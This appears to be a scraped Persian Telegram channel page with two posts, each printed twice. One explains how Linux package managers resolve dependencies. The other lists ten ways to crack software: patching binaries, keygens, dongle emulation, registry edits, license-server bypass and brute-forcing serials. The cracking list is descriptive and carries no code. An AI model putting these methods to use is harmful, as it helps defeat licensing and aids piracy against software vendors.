در اکوسیستم لینوکس، سیستمهای مدیریت پکیج (مثل apt، dnf، pacman) با مکانیزمی متمرکز و بهینه عمل میکنن. هر پکیج به شکل صریح لیست وابستگیهاش رو توی متادیتای خودش تعریف میکنه. وقتی دستور نصب اجرا میشه، پکیج منیجر به شکل خودکار:
1. Dependencyهای لازم رو از ریپازیتوریهای مرکزی پیدا میکنه.
2. بررسی میکنه که آیا نسخههای نصبشده فعلی با نیازمندیهای پکیج جدید Compatible (سازگار) هستن یا نه.
3. در صورت نیاز، آپگرید یا دانگرید کتابخونهها رو انجام میده تا تضمین کنه همه چیز بدون Conflict (تداخل) کار میکنه.
مثلاً نصب یک وبسرور مثل nginx روی لینوکس باعث میشه پکیج منیجر به شکل خودکار کتابخونههای ضروری مثل libpcre، openssl و zlib رو نصب کنه. اگر نسخههای موجود قدیمی باشن، پکیج منیجر نسخههای آپدیت شده رو از ریپازیتوری میاره. این فرایندها روی پکیجهای باینری و متادیتاهای Precompiled (ازپیش-کامپایلشده) تکیه دارن که Dependency Resolution رو سریع و قابل پیشبینی میکنه.
چرا تداخل نسخهها به ندرت پیش میاد؟
- کتابخونهها در لینوکس معمولاً با Semantic Versioning نامگذاری میشن. مثلاً libfoo1.2 و libfoo2.0 میتونن همزمان نصب باشن بدون تداخل، چون اسم پکیجها متفاوته.
- سیستم مدیریت پکیج از Symbolic Links و SONAME (Shared Object Name) استفاده میکنه تا مطمئن شه برنامهها به نسخه صحیح لینک میشن. مثلاً اگر برنامه به libc.so.6 نیاز داره، لینک سمبولیک /lib/libc.so.6 به فایل واقعی مثل libc-2.31.so اشاره میکنه.
~>@pythonwithmedev
پکیج منیجرها در لینوکس: داینامیک ریپازیتوری و بهینگی Dependencyها
در اکوسیستم لینوکس، سیستمهای مدیریت پکیج (مثل apt، dnf، pacman) با مکانیزمی متمرکز و بهینه عمل میکنن. هر پکیج به شکل صریح لیست وابستگیهاش رو توی متادیتای خودش تعریف میکنه. وقتی دستور نصب اجرا میشه، پکیج منیجر به شکل خودکار:
1. Dependencyهای لازم رو از ریپازیتوریهای مرکزی پیدا میکنه.
2. بررسی میکنه که آیا نسخههای نصبشده فعلی با نیازمندیهای پکیج جدید Compatible (سازگار) هستن یا نه.
3. در صورت نیاز، آپگرید یا دانگرید کتابخونهها رو انجام میده تا تضمین کنه همه چیز بدون Conflict (تداخل) کار میکنه.
مثلاً نصب یک وبسرور مثل nginx روی لینوکس باعث میشه پکیج منیجر به شکل خودکار کتابخونههای ضروری مثل libpcre، openssl و zlib رو نصب کنه. اگر نسخههای موجود قدیمی باشن، پکیج منیجر نسخههای آپدیت شده رو از ریپازیتوری میاره. این فرایندها روی پکیجهای باینری و متادیتاهای Precompiled (ازپیش-کامپایلشده) تکیه دارن که Dependency Resolution رو سریع و قابل پیشبینی میکنه.
چرا تداخل نسخهها به ندرت پیش میاد؟
- کتابخونهها در لینوکس معمولاً با Semantic Versioning نامگذاری میشن. مثلاً libfoo1.2 و libfoo2.0 میتونن همزمان نصب باشن بدون تداخل، چون اسم پکیجها متفاوته.
- سیستم مدیریت پکیج از Symbolic Links و SONAME (Shared Object Name) استفاده میکنه تا مطمئن شه برنامهها به نسخه صحیح لینک میشن. مثلاً اگر برنامه به libc.so.6 نیاز داره، لینک سمبولیک /lib/libc.so.6 به فایل واقعی مثل libc-2.31.so اشاره میکنه.
~>@pythonwithmedev
Telegram
🧑💻Cyber.vision🧑💻
Python tips and tricks
The Good, Bad and the Ugly
متخصص امنیت شبکه های کنترل صنعتی
👨💻این کانال یک بلاگ شخصی هست و پیرامون نظرات و چیزهایی که توی این چند سال کد زدن یاد گرفتم (فقط برای کمک به دوستان تازهکار)
https://www.tgoop.com/Hacker0x01
The Good, Bad and the Ugly
متخصص امنیت شبکه های کنترل صنعتی
👨💻این کانال یک بلاگ شخصی هست و پیرامون نظرات و چیزهایی که توی این چند سال کد زدن یاد گرفتم (فقط برای کمک به دوستان تازهکار)
https://www.tgoop.com/Hacker0x01
کرک کردن نرمافزار یعنی دور زدن یا غیرفعال کردن مکانیزمهای امنیتی یک نرمافزار برای استفاده بدون مجوز، روشهای کرک کردن نرمافزار شامل موارد زیر میشه:
1 پچ کردن (Patching)
در این روش، فایلهای اجرایی نرمافزار (مثل .exe یا .dll) دستکاری میشن تا مکانیزمهای امنیتی مثل بررسی سریال یا لایسنس دور زده بشن معمولاً با ابزارهایی مثل OllyDbg، x64dbg یا IDA Pro انجام میشه
2 کیجن (Keygen)
کیجن (Key Generator) نرمافزاری است که یک سریال معتبر برای فعالسازی برنامه تولید میکنه معمولاً با تحلیل الگوریتم تولید کلید در نرمافزار اصلی ساخته میشه
3 سریال جعلی (Fake Serial)
بعضی از برنامهها بهصورت ساده یک سریال مشخص رو قبول میکنن کرکرها این سریال رو پیدا کرده و منتشر میکنن
4 امولیتور Dongle
بعضی نرمافزارها برای اجرا به یک دانگل سختافزاری نیاز دارن کرکرها دانگل رو با نرمافزار شبیهسازی (emulator) جایگزین میکنند تا نرمافزار فکر کند دانگل متصله
5 مهندسی معکوس (Reverse Engineering)
در این روش، سورسکد باینری برنامه بررسی و تحلیل میشه تا مکانیزم امنیتی اون شناسایی و دور زده شه
6 تغییرات رجیستری Registry changes
بعضی از نرمافزارها اطلاعات لایسنس رو در رجیستری ویندوز ذخیره میکنن با تغییر کلیدهای رجیستری میتونیم اون ها رو فعال کتیم
7 دور زدن سرور تایید لایسنس (License Server Bypass)
در این روش، ارتباط نرمافزار با سرور لایسنس مسدود شده یا به یک سرور جعلی هدایت میشه که پاسخهای معتبر ارسال میکننه
8 دیکامپایل و اصلاح سورس کد
در برخی زبانهای سطح بالا (مثل جاوا، پایتون، C#)، باینریهای برنامه رو میتونیم دیکامپایل کنیم و مستقیما کد را تغییر بدیم
9 مانیتورینگ API
کرکرها با ابزارهایی مثل API Monitor یا Process Hacker درخواستهای نرمافزار را بررسی میکنن تا بخشهایی که لایسنس رو بررسی میکند شناسایی و دستکاری کنن
10 حملات Brute Force
در برخی موارد که نرمافزار از مکانیزمهای سادهای برای اعتبارسنجی استفاده میکنه میتونیم با امتحان کردن ترکیبهای مختلف، رمز عبور یا سریال صحیح رو پیدا کنیم
1 پچ کردن (Patching)
در این روش، فایلهای اجرایی نرمافزار (مثل .exe یا .dll) دستکاری میشن تا مکانیزمهای امنیتی مثل بررسی سریال یا لایسنس دور زده بشن معمولاً با ابزارهایی مثل OllyDbg، x64dbg یا IDA Pro انجام میشه
2 کیجن (Keygen)
کیجن (Key Generator) نرمافزاری است که یک سریال معتبر برای فعالسازی برنامه تولید میکنه معمولاً با تحلیل الگوریتم تولید کلید در نرمافزار اصلی ساخته میشه
3 سریال جعلی (Fake Serial)
بعضی از برنامهها بهصورت ساده یک سریال مشخص رو قبول میکنن کرکرها این سریال رو پیدا کرده و منتشر میکنن
4 امولیتور Dongle
بعضی نرمافزارها برای اجرا به یک دانگل سختافزاری نیاز دارن کرکرها دانگل رو با نرمافزار شبیهسازی (emulator) جایگزین میکنند تا نرمافزار فکر کند دانگل متصله
5 مهندسی معکوس (Reverse Engineering)
در این روش، سورسکد باینری برنامه بررسی و تحلیل میشه تا مکانیزم امنیتی اون شناسایی و دور زده شه
6 تغییرات رجیستری Registry changes
بعضی از نرمافزارها اطلاعات لایسنس رو در رجیستری ویندوز ذخیره میکنن با تغییر کلیدهای رجیستری میتونیم اون ها رو فعال کتیم
7 دور زدن سرور تایید لایسنس (License Server Bypass)
در این روش، ارتباط نرمافزار با سرور لایسنس مسدود شده یا به یک سرور جعلی هدایت میشه که پاسخهای معتبر ارسال میکننه
8 دیکامپایل و اصلاح سورس کد
در برخی زبانهای سطح بالا (مثل جاوا، پایتون، C#)، باینریهای برنامه رو میتونیم دیکامپایل کنیم و مستقیما کد را تغییر بدیم
9 مانیتورینگ API
کرکرها با ابزارهایی مثل API Monitor یا Process Hacker درخواستهای نرمافزار را بررسی میکنن تا بخشهایی که لایسنس رو بررسی میکند شناسایی و دستکاری کنن
10 حملات Brute Force
در برخی موارد که نرمافزار از مکانیزمهای سادهای برای اعتبارسنجی استفاده میکنه میتونیم با امتحان کردن ترکیبهای مختلف، رمز عبور یا سریال صحیح رو پیدا کنیم
👍2